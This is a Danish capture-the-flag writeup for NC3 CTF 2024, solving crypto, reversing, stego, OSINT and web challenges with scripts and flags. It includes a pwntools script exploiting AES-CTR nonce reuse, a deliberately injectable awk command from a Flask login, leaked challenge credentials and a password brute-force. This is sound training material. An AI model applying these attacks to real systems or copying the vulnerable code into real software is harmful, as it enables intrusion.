NC3 CTF 2024 : Writeups
En klassisk Jeopardy CTF, lavet for at sætte fokus på IT-sikkerhed og cyberkriminalitet, som er et stigende problem i Danmark.
16 Dec, 2024
NC3 CTF 2024
Team: OUHohoho
Total Score: 2272 points @ 24th place
Løste challenges:
Challenge | Kategori |
---|---|
Discord | Kom godt i gang |
Regler | Kom godt i gang |
Start her! | Kom godt i gang |
Nissesnak | Kom godt i gang |
Skoleudflugten | OSINT |
Mere kanel! | Kom godt i gang |
Julebrev | Kom godt i gang |
Gammelnissen | Crypto |
Kryptoplikation | Crypto |
Nisse-pension | Reversing |
Styrtet | OSINT |
Gnomernes Tegnestue | Kom godt i gang |
Julens Undergang | Forensics |
A Deep Secret | Stego |
Nisseportalen #1 | Boot2root |
Julemandens Ønskeliste | Kom godt i gang |
Gnomernes Hævn | Kom godt i gang |
Flimmer På Fjernsynet | Stego |
PostNordpolen I | Crypto |
Regnskabsnisserne | Kom godt i gang |
Ondsindede Loginforsøg | Efterforskning: Det Store Nissehack |
Serverskjulet | Efterforskning: Det Store Nissehack |
PostNordpolen II | Crypto |
Kodedepotets Hemmelighed | Efterforskning: Det Store Nissehack |
Alternativ Kodedeling | Efterforskning: Det Store Nissehack |
Gerningsgnomens Afsløring | Efterforskning: Det Store Nissehack |
Nisse-gæld | Pwn |
Skattekammeret - robotnisse | Boot2root |
Skattekammeret - storenisse | Boot2root |
GremlinGram | Stego |
Nisseportalen #2 | Boot2root |
Gift Wrappinator 9001 | Reversing |
Raided | Forensics |
Score over tid:
Løsninger:
Discord
NC3 CTF har en Discord server, hvor man kan snakke generelt med andre deltagere, kommunikere med admins, se first bloods på challenges, og dele writeups efter konkurrencen er slut.
Kom og vær med - måske nisserne har gemt et flag!
Løsning:
Flag: NC3{n1ss3rn3_ch4tt3r_pÅ_l1v3t_lØs}
Regler
Opsummering af info og regler:
- Flag har formatet
NC3{.*}
- Opgaver scores dynamisk ud fra antal løsninger
- Der kommer flere opgaver 6. december kl. 14:00
- Nogle opgaver hostes på TryHackMe og kræver en gratis bruger der
- Det er ikke tilladt at dele eller spørge om hints og flag
- Det er ikke tilladt at angribe CTFens infrastruktur
Læs resterende info og regler grundigt her før I går i gang. Måske gemmer der sig også et flag!
Løsning: Under regler (https://nc3ctf.dk/regler) nederst på siden finder man flag.
Flag: NC3{hu5k_r3gl3rn3_så_bli1v3r_d3t_sj0v3s7_f0r_4ll3!}
Start her!
Velkommen til NC3 CTF 2024!
Du har her adgang til en række opgaver inden for forskellige cyber security kategorier. Jo flere der løser en opgave, jo mindre bliver den værd, så over tid bliver opgavepoint en god indikator på sværhedsgrad.
Målet i hver opgave er at finde et “flag”, altså en tekststreng med et bestemt format, der indikerer, at opgaven er løst. Flag i NC3 CTF starter med NC3{
og slutter med }
og indtastes i inputfeltet for den løste opgave.
Her er dit første flag: NC3{d3t_jul_d3t_c00l!}
Held og lykke!
Flag: NC3{d3t_jul_d3t_c00l!}
Nissesnak
Alle kan være med her. Reversing for alle. Sniksnak.
Vedhæftet fil: nc3ctf2o24_nissesnak.zip
Løsning: I zipfilen er der en html side:
<!DOCTYPE html />
<meta charset="UTF-8">
<html>
<body>
<h1>Nissesnak - NC3CTF2o24</h1>
<script>
function ReverseString(input)
{
return input.split('').reverse().join('');
}
function OnClick()
{
var flagValue = document.getElementById("flagInput").value;
if (ReverseString(flagValue) == '}kansessin_tdnevgab{3cn')
{
alert('Du fandt flaget');
}
else
{
alert('Prøv igen');
}
}
</script>
Indtast flaget: <input type="text" id="flagInput"/>
<input type="button" onclick="OnClick();" value="Afprøv"/>
</body>
</html>
}kansessin_tdnevgab{3cn
Reverse string: python3 -c 'print("}kansessin_tdnevgab{3cn"[::-1])'
giver nc3{bagvendt_nissesnak}
Flag: nc3{bagvendt_nissesnak}
Skoleudflugten
I år har nisserne planlagt at besøge alle danske skoler. Hver skole skulle sende adressen og et billede af skolens tydeligste kendetegn, så den er nemmere at finde fra luften.
Men én skole har kun sendt billede, og det ville være synd, hvis nisserne ikke kom på besøg der. Kan du finde adressen til skolen, så de også får besøg i år?
Flag format: NC3{Vejnavn Husnummer}
F.eks.: NC3{Nissegade 24}
Vedhæftet fil: Voresskole.jpg
Løsning: Med en hurtig reverse image search finder vi Kunst på Broagerland: Hvalen ved Broager Skole
Adressen for Broager Skole er Nejsvej 19, 6310 Broager.
Flag: NC3{Nejsvej 19}
Mere kanel!
Efter en god, lille indledning er her noget lidt sværere.
Vedhæftet fil: nc3ctf2o24_mere_kanel.zip
Løsning: I zipfilen er der en html side:
<!DOCTYPE html />
<meta charset="UTF-8">
<html>
<body>
<center>
<h1 style="font-family:'Lucida Console'">Mere kanel! - NC3CTF2o24</h1>
<script>
function OnClick()
{
var flagValue = document.getElementById("flagInput").value;
var flag = '';
for (var i = 0; i < flagValue.length; i++)
{
var c = flagValue.charCodeAt(i);
flag += String.fromCharCode(c + 1);
flag += String.fromCharCode(c ^ 1);
}
if (flag == atob("T09EQjQyfHplZWZkZmRmZGZkdXVgXmZkZmRmZHNzc3Nzc2Bec3NqaHRyZmRvb2hmc3P5+WVlfnw="))
{
alert('Du fandt flaget');
}
else
{
alert('Prøv igen');
}
console.log("Flag: " + btoa(flag));
}
</script>
Indtast flaget: <input type="text" id="flagInput"/>
<input type="button" onclick="OnClick();" value="Afprøv"/>
</center>
</body>
</html>
Med lidt Python kan vi hurtigt løse dette:
import base64
decoded = base64.b64decode("T09EQjQyfHplZWZkZmRmZGZkdXVgXmZkZmRmZHNzc3Nzc2Bec3NqaHRyZmRvb2hmc3P5+WVlfnw=")
print(''.join(chr(decoded[i] - 1) for i in range(0, len(decoded), 2) if (decoded[i] - 1) ^ 1 == decoded[i + 1]))
Flag: NC3{deeeet_eeerrr_risengrød}
Julebrev
Hjælp! Julemanden har fået et brev i sin postkasse fra et barn, men han kan slet ikke tyde, hvad der står!
Vedhæftet fil: julebrev.txt
Løsning: Simpel ciphertext, med simple gætterier, som f.eks. “Kære Julemand” og “NC3”.
KÆRE JULEMAND,
JEG HÅBER, DU HAR DET GODT OPPE PÅ NORDPOLEN,
OG AT RUDOLF OG DE ANDRE RENSD⛸️R FÅR MASSER AF GULER🧤DDER.
JEG 🧤NSKER MIG:
- AT ALLE 🔔ERDENS B🧤RN KAN FÅ MAD NOK OG EN GOD FAMILIE
- AT INGEN MÅ 🔔ÆRE ENSOMME OG ALENE I JULEN
- NC3{FR3D_PÅ_J0RD_0G_0GSÅ_1_RUMM3T}
- EN KÆMPE FLE🎁I TRA🎁 BANE
MANGE KÆRLIGE HILSNER
MAGNUS, 7 ÅR
Flag: NC3{FR3D_PÅ_J0RD_0G_0GSÅ_1_RUMM3T}
Gammelnissen
Gammelnissen krypterer altid sine beskeder med RSA og skriver hvert primtal ned på hver sin lap papir - men nu har han glemt, hvor han lagde den ene.
Mon ikke også ét er nok…
Vedhæftet filer: encrypt.py og krypteret.txt
Løsning: Ved at regne os frem til d
kan vi dekryptere den krypterede besked.
from math import isqrt
n = 113911967470309902498408355902002849141315080752710385265970164128666973595176344769929712328073912045889359818114591877923052777733321490306146637488744172731692293178898440960409438792433505782977089979664244577305445285018320700759389078834385329224670109256967919368893276088261120001891752743010832994161
ct = 181418563625235140825700189846742192203761169128129988853260864253616933650143288011695280847386639743255770112135714678317911664798191379176143996036639508592464099027261445464652005100125349285229059123836955894715533222277904738129836808228104462852378456333009976696034882026353617159677318042624866664
# More precise p computation
p = isqrt(n)
# Check if p is exact
while p * p > n:
p -= 1
while p * p < n:
p += 1
# Verify n = p * p
assert n == p * p, "Factorization failed"
# Compute φ(n) = p(p-1)
phi = p * (p-1)
# Compute private key d
e = 0x10001
d = pow(e, -1, phi)
# Decrypt the message
m = pow(ct, d, n)
# Convert to bytes
from Crypto.Util.number import long_to_bytes
flag = long_to_bytes(m)
print(flag.decode())
Flag: NC3{3t_pr1mt4l_1_hånd3n_3r_b3dr3_3nd_t0_på...3ll3r_v3nt}
Kryptoplikation
Crypto? Er det ikke sådan noget med en blockchain og bitcoin eller hvad?
Vedhæftet filer: encrypt.py og krypteret.txt
Løsning: Ved at antage at flaget starter med NC3{
og slutter med }
kan vi bruge:
from sympy import mod_inverse
# Constants from the encrypt.py script
P = 13187894026947502600331395231459335882158393410614133036296342117478704820555154018132946245287063906492618556075499328589037764675831105264487871422591331
# Known plaintext details
known_plaintext_char = 'N' # First character of the flag
known_plaintext = ord(known_plaintext_char) # ASCII value of 'N'
# Ciphertext (from krypteret.txt)
ciphertext = [13068625329403427490209226484937886428200436811391600198863670891144496138196857451785632892218955434297452961323931225045892056105830636229801232124101611, 8013178340487526826124636731962961652928458866173957508131223711212639098315916960578351604079689741981661485170114164549782695259613610607325807631866316, 9052097101030991151303394056746284813906377661702743708345336433343659198842374257634180977423434857290358419176243467475738566095190458506581108366627643, 10970909692059152988164683710950998530584939787130272325530000242493421156750893429949421920020113791647531494186411268603456029673010195592176190771497337, 13028869096888735786835170236097403276881117944984089253052780482366426577410758596336528441196252610232397763073408523864843486582497146551572352357938371, 8952706519744261892868253434645076935608080495683966343818110411398485296877127119011419849866677797127720423549936714523117142286856734311008908951219543, 8952706519744261892868253434645076935608080495683966343818110411398485296877127119011419849866677797127720423549936714523117142286856734311008908951219543, 5915462703143252324080093957976073755312961841912629634797553062561564116869952938742140631880848099331740018032594208107346668826793169969700766279262042, 4896422058857133850588364757612992169994702479587598907488885544819578796736545069410863484048454396055570683151726255771915082752883066909559905427582335, 11070300273345882246599824333052206408883236953149049690057226264438595058716140568572183047576870851810169489812718021556077453481343919787748390186905437, 6014853284429981582515234580077281633611259007931406999324779084506738018835200077364901759437605159494378013658900961059968092635126894165272965694670142, 6014853284429981582515234580077281633611259007931406999324779084506738018835200077364901759437605159494378013658900961059968092635126894165272965694670142, 7933665875458143419376524234281995350289821133358935616509442893656499976743719249680142702034284093851551088669068762187685556212946631250868048099539836, 7933665875458143419376524234281995350289821133358935616509442893656499976743719249680142702034284093851551088669068762187685556212946631250868048099539836, 7933665875458143419376524234281995350289821133358935616509442893656499976743719249680142702034284093851551088669068762187685556212946631250868048099539836, 1958568823542853540235345903045196867997880991835039562995554217927831518694618027764345393619381758422228273260690502308766033101153226763823962171032934, 5935340819400598175767122082396315330972621275116385107702998266950598897263002366466692857392199511364267617157855558697870953588459914808815206162343662, 840137597970005808308476080580907404381324463491231471159660678240672296595963019810307118230230994983420942753515797020713023218909399508110901903945127, 2858340770284896903604906356886828999358183754937537452871550509335608156469729330748309188383666989503232013389990351101051910605062860789278183724222921, 5915462703143252324080093957976073755312961841912629634797553062561564116869952938742140631880848099331740018032594208107346668826793169969700766279262042, 8952706519744261892868253434645076935608080495683966343818110411398485296877127119011419849866677797127720423549936714523117142286856734311008908951219543, 1859178242256124281800205280943988989699583825816262198468328195982657616729370889141584266062624698259590277634383749356144609292819502568251762755624834, 3897259530828361228783663681670152160336102550466323653085663231466628256996186627804138561727412104811928947396119654027007781440639708688533484458984248, 4896422058857133850588364757612992169994702479587598907488885544819578796736545069410863484048454396055570683151726255771915082752883066909559905427582335, 10990787808316498839851711835371240106244599220334027798435445446882455937143942857673974145531465203680059093311672619193980314434676940431290630654578957, 1859178242256124281800205280943988989699583825816262198468328195982657616729370889141584266062624698259590277634383749356144609292819502568251762755624834, 8952706519744261892868253434645076935608080495683966343818110411398485296877127119011419849866677797127720423549936714523117142286856734311008908951219543, 5935340819400598175767122082396315330972621275116385107702998266950598897263002366466692857392199511364267617157855558697870953588459914808815206162343662, 840137597970005808308476080580907404381324463491231471159660678240672296595963019810307118230230994983420942753515797020713023218909399508110901903945127, 2858340770284896903604906356886828999358183754937537452871550509335608156469729330748309188383666989503232013389990351101051910605062860789278183724222921, 5915462703143252324080093957976073755312961841912629634797553062561564116869952938742140631880848099331740018032594208107346668826793169969700766279262042, 8952706519744261892868253434645076935608080495683966343818110411398485296877127119011419849866677797127720423549936714523117142286856734311008908951219543, 1859178242256124281800205280943988989699583825816262198468328195982657616729370889141584266062624698259590277634383749356144609292819502568251762755624834, 5935340819400598175767122082396315330972621275116385107702998266950598897263002366466692857392199511364267617157855558697870953588459914808815206162343662, 13008990980631389935148142111677161701221458511780333780147335277977391797017709168611976215684901198199870163948147173274319201820830401712457912474856751, 840137597970005808308476080580907404381324463491231471159660678240672296595963019810307118230230994983420942753515797020713023218909399508110901903945127, 840137597970005808308476080580907404381324463491231471159660678240672296595963019810307118230230994983420942753515797020713023218909399508110901903945127, 860015714227351659995504205001148980040983896694986944065105882629707076989012447534859343741582407015948541878777147611237307980576144347225341787026747, 10990787808316498839851711835371240106244599220334027798435445446882455937143942857673974145531465203680059093311672619193980314434676940431290630654578957, 5935340819400598175767122082396315330972621275116385107702998266950598897263002366466692857392199511364267617157855558697870953588459914808815206162343662, 2858340770284896903604906356886828999358183754937537452871550509335608156469729330748309188383666989503232013389990351101051910605062860789278183724222921, 1958568823542853540235345903045196867997880991835039562995554217927831518694618027764345393619381758422228273260690502308766033101153226763823962171032934, 5935340819400598175767122082396315330972621275116385107702998266950598897263002366466692857392199511364267617157855558697870953588459914808815206162343662, 1859178242256124281800205280943988989699583825816262198468328195982657616729370889141584266062624698259590277634383749356144609292819502568251762755624834, 6934503347429370797571823158339155340631221204237660362106220580303549437003360808073417779713241802607909352913462160442778254900703273029841627130941749, 6014853284429981582515234580077281633611259007931406999324779084506738018835200077364901759437605159494378013658900961059968092635126894165272965694670142, 5895584586885906472393065833555832179653302408708874161892107858172529336476903511017588406369496687299212418907332857516822384065126425130586326396180422]
# Step 1: Calculate the encryption key
first_ciphertext = ciphertext[0]
key = (first_ciphertext * mod_inverse(known_plaintext, P)) % P
print(f"Derived Key: {key}")
# Step 2: Decrypt the ciphertext
decrypted_bytes = []
for i, c in enumerate(ciphertext):
decrypted_value = (c * mod_inverse(key, P)) % P # Modular inverse
decrypted_byte = decrypted_value % 256 # Wrap into ASCII range
decrypted_bytes.append(decrypted_byte)
print(f"Byte {i}: Decrypted Value = {decrypted_value}, ASCII = {chr(decrypted_byte)}")
# Step 3: Convert decrypted bytes to a string
try:
decrypted_text = ''.join(chr(byte) for byte in decrypted_bytes)
print("\nDecrypted Flag:", decrypted_text)
except ValueError as e:
print("\nError during ASCII conversion:", e)
Flag: NC3{https://www.cryptoisnotcryptocurrency.com/}
Nisse-pension
Nissen Fritz er træt af den daglige rutine i Nisseby, men han opfylder ikke kravene til regeringens tidlige Nisse-pension.
Mon han kan snyde systemet, så han kan stoppe på arbejdsmarkedet 250-300 år før tid?
Bemærk: Opgaven lukker op for endnu en opgave om Nisseby.
Vedhæftet fil: nisseby
Løsning: Ved at bruge PINCE (Cheat Engine til linux) kan jeg snyde med hvor mange penge jeg har og dage jeg arbjedet.
Dag 100001 - du har ❄️200
1. 🛠️ Arbejd på værkstedet
2. 💤 Sov
3. 🛒 Gå i Frosto
4. 👋 Afslut
> 3
🛒 Velkommen i Frosto, hvad vil du købe? 🛒
1. Julegløgg ❄️50
2. Hint ❄️500
3. Hint ❄️1.337
4. Flag ❄️10.000.000
5. Gå tilbage
> 4
🎉 Tillykke! Her er dit flag: NC3{30_År5_0psp4r1ng_s1kr3t_nu_k4n_Fr1tz_Gå_pÅ_p3ns10n 🎅} 🎉
halfdan@desktop:~/
Flag: NC3{30_År5_0psp4r1ng_s1kr3t_nu_k4n_Fr1tz_Gå_pÅ_p3ns10n 🎅}
Styrtet
Ved testflyvning af den nye Slæde2024 løb nogle af rensdyrene tør for æbleskiveskraft, og vi måtte nødlande. Men hvor er vi?
Der blev taget disse to billeder og sendt til Geonisserne. De svarer dog først efter tre dage. Kan du hjælpe hurtigere?
Flaget er området som helhed, det vil være tydeligt, når stedet er fundet.
MD5 af området (uden NC3{} omkring) er 5f04609c04b031b6ed03b9d200e6cb5c
(produceret med CyberChef)
Vedhæftet filer: styrt1.png og styrt2.png
Løsning: Ved at zoome lidt ind på det ene billede spotter man noget der ligner et højt tårn:
Ved første tanke lignede dette Helnæs Fyr, men med nærmere analyze kan man hurtigt spotte at det er Tunø Kirke, området er Tunø; hvilket også matcher MD5et.
Flag: NC3{Tunø}
Gnomernes Tegnestue
Åh nej! Nissernes efterretningstjeneste har opsnappet, at ondsindede gnomer planlægger et cyberangreb for at forpurre julen!
Vores skarpsindige OSINT-nisser har lokaliseret gnomernes hemmelige tilholdssted – en digital borg, skjult i cyberspace, hvor de samler sig for at lægge deres skumle planer.
Men gnomerne har sikret deres tilholdssted med en snedig login-platform og en specialbygget database, der hidtil har modstået nissernes hackingforsøg. Kan du hjælpe med at bryde igennem deres forsvar, infiltrere deres tegnestue og afsløre planerne, før det er for sent?
https://tryhackme.com/jr/gn0mernestegnestu32o24
Vedhæftet fil: gnomernes_tegnestue.zip
Løsning: Creds ligger i creds.txt filen. Log ind som admin på websitet på http:// og indtast admins creds. Så står flaget på forsiden under Hemmelig besked.
============|============
BRUGERNAVN |ADGANGSKODE
============|============
admin |jU1en_sk4L-ikk3_f0rBl1ve-foR_ev1gT
bytebryder |jEg_knu5eR-b1tS_7iL-m0rgeNm4D
kryptklo |dU_V1l-4ldrIg_k0mm3-uD_4f-m1Ne_Kl0er
frostbider |1ngEn_kan-kl4Re_m1t-k0Lde_g3bi5
kodeknuser |d1N_k0dE-5pIser_j3G-Til_m1dDagsM4d
Flag: NC3{l4v_iKk3_3gNe_1mpLemen7ationer_4f_d4t4Bas3r}
Julens Undergang
Vores threat intelligence nisser har efterretninger på, at gnomerne i Gnomistan planlægger et stort angreb på Nisseland og julen selv.
Vi har en spionnisse udstationeret i Kaos A/S, den primære organisation bag planlægningen og udførslen af angrebene. Hun har sniffet netværkstrafik, vi håber kan give mere konkrete leads - det meste er dog krypteret!
Hjælp os med at få adgang til al kommunikationen, så vi kan sikre julen og Nisseland!
Vedhæftet fil: sniffed.pcapng
Løsning:
I tls pakke med mail kommunikation, stream 27, findes flaget
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
Subject: Operation Julens Undergang
From: Gnoklios <[email protected]>
To: Afdelingen for Julens Undergang <[email protected]>
Alle gnomer i Kaos A/S!
Tiden er kommet til den st=C3=B8rste operation mod Nisseland til dato!
Nisserne er travle med juleforberedelserne og er ikke opm=C3=A6rksomme p=C3=
=A5 deres omgivelser.
Vi har over den seneste m=C3=A5ned infiltreret deres v=C3=A6rksteder og sabot=
eret leget=C3=B8jet, s=C3=A5 de er mere pressede end nogensinde f=C3=B8r.
Operation Julens Undergang begynder p=C3=A5 torsdag lige efter deres frokostp=
ause - en tyk nisse er en langsom nisse.
Det er EKSTREMT vigtigt, denne information bliver i Kaos A/S.
Hvis bare en enkelt snagende nisse f=C3=A5r fat p=C3=A5 informationen med sin=
e klamme korte fingre, er hele operationen kompromiteret.
NC3{d3jl1g_3r_jul3n_pr@gt1g_3r_d3ns_und3rg4ng}
Julen bliver endelig vores!
Gnoklios, CEO Kaos A/S
Flag: NC3{d3jl1g_3r_jul3n_pr@gt1g_3r_d3ns_und3rg4ng}
A Deep Secret
Efter en stor politiaktion mod banden Hydra Tech Commandos har NC3 modtaget en række devices til undersøgelse. Lederen KrigStoffer overfører tilsyneladende ofte feriebilleder til de andre medlemmer via WIM disk images.
Vi mistænker, de bruger billederne til at gemme kommunikation om deres salg af LSD, heroin og andre stoffer med alternative metoder.
Vedhæftet fil: feriebilleder.wim
Løsning: Ved at bruge 7-Zip: 7z x feriebilleder.wim
kan vi extract 53 filer, hvor 49 af dem er 150x150 png billeder med alle mulige farver i baggrunden og et bogstav, tal eller andet char i forgrunden.
Billederne indeholder som sagt forskellige char. Billed filerne har navne der er sorterbare, gør man det og laver grupper af 7 filnavne, vil man kunne se et mønster. Hvilket giver 7 grupper, med 7 filnavne i hver. Tager man billeder der viser en char fra hver grupper i dens orden, og sætter dem sammen haves flaget.
KDAsIDAp N
KDAsIDEp 3
KDAsIDIp D
KDAsIDMp 3
KDAsIDQp R
KDAsIDUp _
KDAsIDYp R
KDEsIDAp C
KDEsIDEp _
KDEsIDIp R
KDEsIDMp R
KDEsIDQp N
KDEsIDUp D
KDEsIDYp Ø
KDIsIDAp 3
KDIsIDEp M
KDIsIDIp Ø
KDIsIDMp _
KDIsIDQp 4
KDIsIDUp 4
KDIsIDYp M
KDMsIDAp {
KDMsIDEp 1
KDMsIDIp M
KDMsIDMp 4
KDMsIDQp T
KDMsIDUp 7
KDMsIDYp M
KDQsIDAp 4
KDQsIDEp N
KDQsIDIp M
KDQsIDMp L
KDQsIDQp 1
KDQsIDUp 4
KDQsIDYp 3
KDUsIDAp L
KDUsIDEp 3
KDUsIDIp 3
KDUsIDMp T
KDUsIDQp V
KDUsIDUp 5
KDUsIDYp !
KDYsIDAp L
KDYsIDEp _
KDYsIDIp _
KDYsIDMp 3
KDYsIDQp 3
KDYsIDUp T
KDYsIDYp }
NC3{4LL
3_M1N3_
DRØMM3_
3R_4LT3
RN4T1V3
_D4745T
RØMM3!}
NC3{4LL3_M1N3_DRØMM3_3R_4LT3RN4T1V3_D4745TRØMM3!}
Flag: NC3{4LL3_M1N3_DRØMM3_3R_4LT3RN4T1V3_D4745TRØMM3!}
Nisseportalen #1
Nissernes største ønske er en portal til deling af alle deres AI-genererede billeder aka Nisseportalen. Projektet er dog i fare efter Nissedevs utallige fiaskoer med både Dangerzone og Nissezonen.
Praktikantnissen har fået til opgave at redde Nisseportalen og få ryddet op i Nissedevs rod. Kan du hjælpe med at redde Nisseportalen og finde alle de sårbarheder, der må være, så projektet endelig kan blive gjort færdigt?
Men vær beredt, det er ikke til at sige hvad Nissedev har haft gang i…
https://tryhackme.com/jr/nisseportalen2o24
Løsning: gobuster viser mappen /portal/
. Hvis man tager source på portal/index.html
finder man:
<html>
<head>
</head>
<body>
<script>
window.location.replace("index.php");
</script>
<p>NC3{Flag1:V3lkOmM3n_7IL_NI553POR74L3n}</p>
</body>
</html>
Flag: NC3{Flag1:V3lkOmM3n_7IL_NI553POR74L3n}
Julemandens Ønskeliste
Julemandens hjemmeside er klar til jul! Besøg siden og send din ønskeliste til den gode gamle julemand.
Men der er en hemmelighed gemt bag kulisserne – julemandens egen ønskeliste. Kan du finde den og afsløre, hvad han selv ønsker sig i år?
https://tryhackme.com/jr/julem4ndens0nskeliste2o24
Løsning:
- Landing page afslører at siden er lavet af “Julemand” og en login.html side
- På login.html er der adgang til register.html hvis man inspisere koden
- Man opretter en bruger og logger ind, hvorefter man redirecter til ønskeliste.html
- Her finder man en kommentar i koden om at man ikke har begrænset adgangen til /uploads. Her finder man /uploads/wordlist/julemandens_hemmelige_koder.txt, med en række adgangskoder
- vi sende login til burpsuite og vælger “Julemand” som burgernavn og finder at password “christmas1” giver en adgang til julemandens ønskeliste: julemandensønskeliste.html
Flag: NC3{jul3mand3ns_ønsk3l1st3}
Gnomernes Hævn
Neeeej, gnomerne har opdaget, de kom til at leake alle deres passwords i Gnomernes Tegnestue direkte i den udleverede fil!!!
Det ser ud til, de har skiftet flaget og alle deres passwords på baggrund af lækket - kan du mon stadig få adgang?
OBS: Opgaven er identisk med Gnomernes Tegnestue, bare med alle passwords redacted i den udleverede ZIP.
https://tryhackme.com/jr/gn0mernesh43vn2o24
Vedhæftet fil: gnomernes_hvn.zip
Løsning: I ZIP-filen ligger koden til flask. Der er en linje vulnerable code for username parametren fra loginsiden: get_password_query = f"awk -F'|' -v val='{username}' '{{gsub(/[[:space:]]/, \"\", $1); print ($1==val?$2:Null)}}' creds.txt | grep ."
awk kommandoen kigger bare fra linje 1. Den forstår ikke hvad der er en header. Så fra listen:
============|============
BRUGERNAVN |ADGANGSKODE
============|============
admin |REDACTED
bytebryder |REDACTED
kryptklo |REDACTED
frostbider |REDACTED
kodeknuser |REDACTED
Matcher BRUGERNAVN | ADGANGSKODE. Så input BRUGERNAVN og ADGANGSKODE og så kommer man til den hemmelige side..
Flag: NC3{s@t_1kk3_gn0m3r_71l_4t_1mpl3m3nt3r3_CTF_0pg4v3r}
Flimmer På Fjernsynet
Arrrrgh, knas på kanalen og støj på linjen, nu flimrer mit gamle møg TV igen, jeg skulle lige til at se Pyrus 😠
https://tryhackme.com/jr/flimmerfjernsynet2o24
Løsning:
nå knappen aktiveres skifter billedet til et med “sne”
Fra Html’en ser vi:
<body>
<div class="container">
<img src="/skift-kanal" alt="Flimmer" id="flimmer" class="channel">
<img src="../static/tv.png" alt="TV" class="tv">
<div class="button-container">
<button class="switch-button" onclick="switchChannel()">Skift Kanal</button>
</div>
</div>
<script>
function switchChannel() {
const flimmer = document.getElementById('flimmer');
const timestamp = new Date().getTime(); // Timestamp to bypass caching
flimmer.src = `/skift-kanal?${timestamp}`;
}
</script>
</body>
Først download en bunke billeder vi kan “lege” med
for i in {1..10}; do
curl "http://10.10.6.240/skift-kanal?$(date +%s%N)" -o "image_$i.png"
sleep 1
done
from PIL import Image
import numpy as np
# Load images
image1 = np.array(Image.open("image_1.png"))
image2 = np.array(Image.open("image_10.png"))
image1_rgb = image1[:, :, :3] # Extract RGB channels only
image2_rgb = image2[:, :, :3]
xor_result = np.bitwise_xor(image1_rgb, image2_rgb)
xor_image = Image.fromarray(xor_result.astype(np.uint8))
xor_image.save("xor_result_rgb.png")
xor_image.show()
efter lidt rens får vi
Flag: NC3{hvord4n_5k4l_j3g_s3_jul3k4l3nd3r_m3d_4l_d3n_fj3rn5yn5fl1mm3r?}
PostNordpolen I
Livet som nysgerrig postnisse for PostNordpolen var altså lidt sjovere før - nu har kryptonisserne fundet på et system til kryptering af intern post mellem værkstederne 🙁
Hvert værksted har udpeget en nøglenisse med krypteringsansvar, der hver mandag morgen kl. 8:00 får udleveret en ny delt nøgle og en fælles kodebog med hemmeligheder til engangsbrug.
PostNordpolen udleverer vel omtrent 30 breve om dagen normalt - mon nøglenisserne har koder nok til en pludselig stigning?
https://tryhackme.com/jr/postnordpolen2o24
Forbind med: nc <tildelt-ip> 1337
Bemærk: Opgaven lukker op for PostNordpolen II og PostNordpolen III.
Vedhæftet fil: postnordpolen_i.py
Løsning: Man ikke anvende samme nonce i aes_ctr da man så kan deducte plaintexten ud fra ciphertexten.
from pwn import *
import binascii
context.log_level = 'debug'
host = '10.10.26.14'
port = 1337
#this to connect to the server
p = remote(host, port)
#decrypt with XOR func
def xor(*args):
return bytes([a ^ b ^ c for a, b, c in zip(*args)])
#Step 1: WE retrieve the encrypted flag
p.sendlineafter('> ', '1')
p.recvline()
enc_flag = binascii.unhexlify(p.recvline().strip().split(b': ')[1]).strip()
#enc_flag = binascii.unhexlify(p.recvline().strip().split)
#log.info(f'{enc_flag.hex()}')
log.info(f'Encrypted flag: {enc_flag.hex()}')
#Step 2: We send a known input with the same length as the encrypted flag
# Subtract the nonce length - deducted from initial try.
input_str = 'A' * (len(enc_flag) - 12)
def getAES():
p.sendlineafter('> ', '2')
p.sendlineafter('Besked: ', input_str)
p.sendlineafter('Adresse: ', 'Her')
p.recvline()
encoded_input = binascii.unhexlify(p.recvline().strip().split(b': ')[1])
return encoded_input
#log.info(f'Encrypted input: {enc_input.hex()}')
enc_input = ''
#Starts while loop but limits to 300 rounds.
i = 1
while i < 300:
encoded_input = getAES()
result = encoded_input.hex()
if result[:12] == enc_flag.hex()[:12]:
#Print the visible flag and input as hex
print(enc_flag)
print(binascii.unhexlify(result))
#Return the binary format and sets variable
enc_flag = binascii.unhexlify(enc_flag.hex()[-98:])
enc_input = binascii.unhexlify(result[-98:])
break
i += 1
#Step 3: Calculate the flag with XOR
flag = xor(enc_flag, enc_input, input_str.encode())
log.success(f'Flag: {flag.decode()}')
#this closes the connection
p.close()
# Original: simonedimario
# Modified by: Raihan
# Credits: https://medium.com/@raihansltn/reduce-reuse-recycle-cryptography-ctf-hacker-class-compfest16-d9ca4824c558
# AES-CRT: https://pycryptodome.readthedocs.io/en/latest/src/cipher/classic.html#ctr-mode
Flag: NC3{P0stN0rdp0l3n_3r_5t0r3_f0r74l3r3_f0r_g3nbrug}
Regnskabsnisserne
Julemandens regnskabsnisser har udviklet et indkodningssystem for at skjule deres beskeder fra nysgerrige blikke.
Men en dag da nisserne gik til frokost, glemte én af dem at låse sin computer. En snedig gnom så sit snit til at snige sig ind og stjæle en del af deres samtale.
Kan du knække nissernes kode og afsløre, hvad de diskuterer i hemmelighed?
Vedhæftet fil: kommunikation.txt
Løsning: Substitution cipher.
Tror flaget gemmer sig hér: 150 166 213 150 206 216 214 166 d : <> H 166 62 <> 141 124 102 234 201 151 d 224 66 214 164 e s 124 216 202 100 s j 164 e r 164 d 102 211 224 236
Altså 141 = N (Findes 2 steder, giver mening der hvor det andet store N står)
124 = C (Findes 2 steder, begge en del af flaget)
102 = 3 (Findes 2 steder, begge en del af flaget)
234 = { (findes 1 sted)
236 = } (findes 1 sted)
Tallene ligger i blokke af 7, hvorefter der kommer et spring på 4 tegn. Har bare slavisk gået det igennem, og fundet dem et af gangen…
TalThomas: Jeg forstaar ikke, hvor julemanden faar alle de penge fra
FrostFinn: Nej, men de kommer altid hvert aar
KlokkeKarl: Er det sikkert at skrive hemmelige beskeder her
FrostFinn: Ja ja, der er aldrig nogen, som har set mine beskeder
KlokkeKarl: Okay, for jeg vil bare sige, at postnordnisserne har det bedre end os
TalThomas: Hvad mener du? Vi kunne da ikke have det bedre
KlokkeKarl: Jeg har set, at de faar varm kakao hver dag - og det med floedeskum
FrostFinn: Jamen saa synes jeg, at vi skal tage over og drikke alt deres kakao
TalThomas: Ja, det kan ikke passe, at andre nisser har det bedre end os, naar vi styrer regnskabet
KlokkeKarl: Jeg er glad for at kunne dele det med jer. Godt at vi kan skrive i hemmelighed her
TalThomas: Ja, NC3{CUst0m_enCod1ng_er_s3jt}
FrostFinn: Lige netop. Ingen har nogensinde kunne se vores beskeder
